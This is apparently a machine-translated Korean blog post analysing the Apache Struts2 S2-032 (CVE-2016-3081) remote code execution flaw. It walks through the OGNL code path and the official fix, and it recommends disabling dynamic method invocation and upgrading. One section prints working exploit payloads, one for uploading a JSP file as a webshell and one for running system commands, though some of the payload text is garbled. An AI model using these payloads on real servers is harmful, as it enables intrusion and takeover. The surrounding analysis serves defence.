Struts2 빈틈 분석 및 예방 방법

9253 단어 Struts2빈틈
2016년 4월 26일, Apache Struts2 정부는 또 하나의 안전 공고를 발표했다. Apache Struts2 서비스는 동적 방법 호출을 시작하는 상황에서 임의의 명령을 원격으로 실행할 수 있다. 공식 번호 S2-032, CVE 번호 CVE-2016-3081.2012년 Struts2 명령 집행 빈틈이 대규모로 발생한 이후 4년 만에 대규모 빈틈이 발생한 것이다.이 구멍도 올해 현재 드러난 가장 심각한 안전 구멍이다.해커는 이 빈틈을 이용하여 기업 서버에 원격 조작을 실시하여 데이터 유출, 원격 호스트 제어, 내망 침투 등 중대한 안전 위협을 초래할 수 있다.
빈틈이 발생한 후 또 한 번의 안전과 관련 회사의 집단적인 성대한 모임으로 빈틈 사용자들은 가능한 한 이번 빈틈을 이용하여 수준의 높은 수준을 나타내고 있다.각 대중 측정 플랫폼은 잇달아 중개 회사를 발표하여 플랫폼의 역할을 향상시킨다.각 안전회사들도 이번 빈틈을 충분히 활용해 회사의 영향력을 높이고 마케팅, 무슨 무료 검측, 첫 번째 시간 업그레이드 등을 하고 있다.아직 답답한 공장들이 많이 남았는데, 나는 건드리지 않은 사람을 건드리지 않았다.그 다음은 대량의 고민스러운 개발 운영자들이 밤새 빈틈 패치를 업그레이드해야 한다는 것이다.
그러나 빈틈의 원리적 위해에 대한 방호 등은 드물다.본고는 상기 몇 가지에 대해 자신의 견해를 제시하는 것이다.
원리
이 빈틈은struts2의 동적 실행 OGNL을 이용하여 임의의 자바 코드에 접근하는 것이다. 이 빈틈을 이용하여 원격 웹 페이지를 스캔하여 이 빈틈이 있는지 판단하고 악성 지령을 보내며 파일 업로드, 본 컴퓨터의 명령 등 후속 공격을 수행할 수 있다.
OGNL은 Object-Graph Navigation Language의 줄임말로 전체 대상도 내비게이션 언어라고 불리며 기능이 강한 표현식 언어로 간단하고 일치하는 문법을 통해 대상의 속성을 임의로 접근하거나 호출하는 방법으로 전체 대상의 구조도를 훑어보고 대상의 속성 유형의 변환 등 기능을 실현할 수 있다.
#,% 및 $기호는 OGNL 표현식에 자주 나타납니다.
1. # 기호의 용도는 일반적으로 세 가지가 있습니다.
비루트 객체 속성(예: #session)에 액세스합니다.msg 표현식, Struts 2에서 값 창고는 루트 대상으로 간주되기 때문에 다른 비루트 대상에 접근할 때 # 접두사를 추가해야 합니다.퍼슨스와 같은 필터링 및 투영 집합에 사용됩니다.{?#this.age>25},persons.{?#this.name=='pla1'}.{age}[0];예를 들어 예시에서 #{'foo1':'bar1','foo2':'bar2'}를 구성하는 데 사용됩니다.
2.% 기호
% 기호의 용도는 로고의 속성이 문자열 형식일 때 OGNL 표현식의 값을 계산하는 것입니다. 이것은 js의 eval과 유사합니다. 폭력적입니다.
3. $기호는 주로 두 가지 용도가 있습니다.
국제화 자원 파일에서 OGNL 표현식을 인용합니다. 예를 들어 국제화 자원 파일의 코드:reg.agerange = 국제화 자원 정보: 나이는 ${min}과 ${max} 사이여야 합니다.Struts 2 프레임워크의 구성 파일에서 OGNL 표현식을 참조합니다.
코드 활용 프로세스
1. 클라이언트 요청
http://{webSiteIP.webApp}:{portNum}/{vul.action}?method={malCmdStr }
2. DefaultActionProxy의 DefaultActionProxy 함수로 요청을 처리합니다.

protected DefaultActionProxy(ActionInvocation inv, String namespace, String actionName, String methodName, boolean executeResult, boolean cleanupContext) {
  this.invocation = inv;
  this.cleanupContext = cleanupContext;
  LOG.debug("Creating an DefaultActionProxy for namespace [{}] and action name [{}]", namespace, actionName);
 
  this.actionName = StringEscapeUtils.escapeHtml4(actionName);
  this.namespace = namespace;
  this.executeResult = executeResult;
  // 、 、 。
  this.method = StringEscapeUtils.escapeEcmaScript(StringEscapeUtils.escapeHtml4(methodName));
}
3. Default ActionMapper의 Default ActionMapper 방법

String name = key.substring(ACTION_PREFIX.length());
if (allowDynamicMethodCalls) {
   int bang = name.indexOf('!');
   if (bang != -1) {
     // 
     String method = cleanupActionName(name.substring(bang + 1));
     mapping.setMethod(method);
     name = name.substring(0, bang);
  }
}
4. Default Action Invocation의 invoke Action 방법을 호출하여 전송하는 방법을 실행합니다.

protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
  String methodName = proxy.getMethod();
 
  LOG.debug("Executing action method = {}", methodName);
 
  String timerKey = "invokeAction: " + proxy.getActionName();
  try {
    UtilTimerStack.push(timerKey);
 
    Object methodResult;
    try {
      // 
      methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);
    } catch (MethodFailedException e) {
해결 방법
공식적인 해결 방법은 3단계의 함수인 cleanup ActionName에서 검사를 추가하는 것입니다.

protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*");
protected String cleanupActionName(final String rawActionName) {
  // , ("[a-zA-Z0-9._!/\\-]*"), , 、 。
  if (allowedActionNames.matcher(rawActionName).matches()) {
    return rawActionName;
  } else {
    if (LOG.isWarnEnabled()) {
      LOG.warn("Action/method [#0] does not match allowed action names pattern [#1], cleaning it up!",
          rawActionName, allowedActionNames);
    }
    String cleanActionName = rawActionName;
    for (String chunk : allowedActionNames.split(rawActionName)) {
      cleanActionName = cleanActionName.replace(chunk, "");
    }
    if (LOG.isDebugEnabled()) {
      LOG.debug("Cleaned action/method name [#0]", cleanActionName);
    }
    return cleanActionName;
  }
}
수정 제안
1. 동적 방법 호출 비활성화
Struts2의 프로필을 수정하고 "struts.enable.DynamicMethodInvocation"값을 false로 설정합니다. 예를 들어
;
2. 소프트웨어 버전 업그레이드
Struts 버전을 2.3.20.2, 2.3.24.2 또는 2.3.28.1로 업그레이드
패치 주소:https://struts.apache.org/download.cgi#struts23281
빈틈 이용 코드
1. 파일 업로드:
method:%23_memberAccess%[email][email protected][/email]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&shellname=stest.jsp&shellContent=tttt&encoding=UTF-8&pp=%2f
위의 코드가 좀 불편해 보여요. 전환해 볼게요.

method:#[email protected]@DEFAULT_MEMBER_ACCESS,
#[email protected]@getRequest(),
#[email protected]@getResponse(),
#res.setCharacterEncoding(#parameters.encoding[0]),
#w=#res.getWriter(),
#path=#req.getRealPath(#parameters.pp[0]),
new java.io.BufferedWriter(new java.io.FileWriter(#path+#parameters.shellname[0]).append(#parameters.shellContent[0])).close(),
#w.print(#path),
#w.close(),1
?#xx:#request.toString&
shellname=stest.jsp&
shellContent=tttt&
encoding=UTF-8&pp=/
2. 로컬 명령을 실행합니다.
method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=whoami&pp=\\A&ppp=%20&encoding=UTF-8
마찬가지로 저희가 전환을 해서 한번 볼게요.

method:#_memberAccess[#parameters.name1[0]]=true,
#_memberAccess[#parameters.name[0]]=true,
#_memberAccess[#parameters.name2[0]]={},
#_memberAccess[#parameters.name3[0]]={},
#[email protected]@getResponse(),
#res.setCharacterEncoding(#parameters.encoding[0]),
#w#d#res.getWriter(),
#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).
useDelimiter(#parameters.pp[0]),
#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?
#xx:#request.toString&name=allowStaticMethodAccess&name1=allowPrivateAccess&name2=excludedPackageNamePatterns&name3=excludedClasses&cmd=whoami&pp=\\A&ppp= &encoding=UTF-8
이전의 소개를 통해 전환 후에도 비교적 이해하기 쉽다는 것을 발견하였다.
어떻게 예방합니까
안전에 있어서 매우 중요한 원칙은 바로 최소 권한 원칙이다.최소 권한(Least Privilege)이란 "일종의 작업을 완료할 때 부여된 네트워크의 모든 주체(사용자 또는 프로세스)에 없어서는 안 될 권한"을 가리킨다.최소특권원칙은'네트워크에서 모든 주체가 필요로 하는 최소특권을 한정하고 가능한 사고, 오류, 네트워크 부품의 왜곡 등으로 인한 손실을 최소화해야 한다'는 것을 말한다.
예를 들어 시스템에서 동적 방법으로 호출하지 않으면 배치할 때 제거한다. 이렇게 하면 패치가 맞지 않아도 이용되지 않는다.
이 시스템에서 가장 중요한 위해 중 하나는 로컬 프로세스를 실행하는 것이다. 만약에 시스템이 로컬에서 진행하는 수요를 실행하지 않으면 비활성화할 수도 있다.
자바 코드에서 로컬 명령을 실행하는 코드, ProcessImpl의 ProcessImpl을 살펴보겠습니다.

 private ProcessImpl(String cmd[],
            final String envblock,
            final String path,
            final long[] stdHandles,
            final boolean redirectErrorStream)
    throws IOException
  {
    String cmdstr;
    SecurityManager security = System.getSecurityManager();
    boolean allowAmbiguousCommands = false;
    if (security == null) {
      allowAmbiguousCommands = true;
      //jdk 。
      String value = System.getProperty("jdk.lang.Process.allowAmbiguousCommands");
      if (value != null)
        allowAmbiguousCommands = !"false".equalsIgnoreCase(value);
    }
    if (allowAmbiguousCommands) {
자바가 시작될 때 파라미터를 추가합니다. - Djdk.lang.Process.allowAmbigousCommands=false, 이렇게 하면 자바가 로컬 프로세스를 실행하지 않습니다.
만약 시스템이 배치될 때 불필요한 내용을 앞당겨 끄면 이 빈틈의 위해를 줄이거나 막을 수 있다.

좋은 웹페이지 즐겨찾기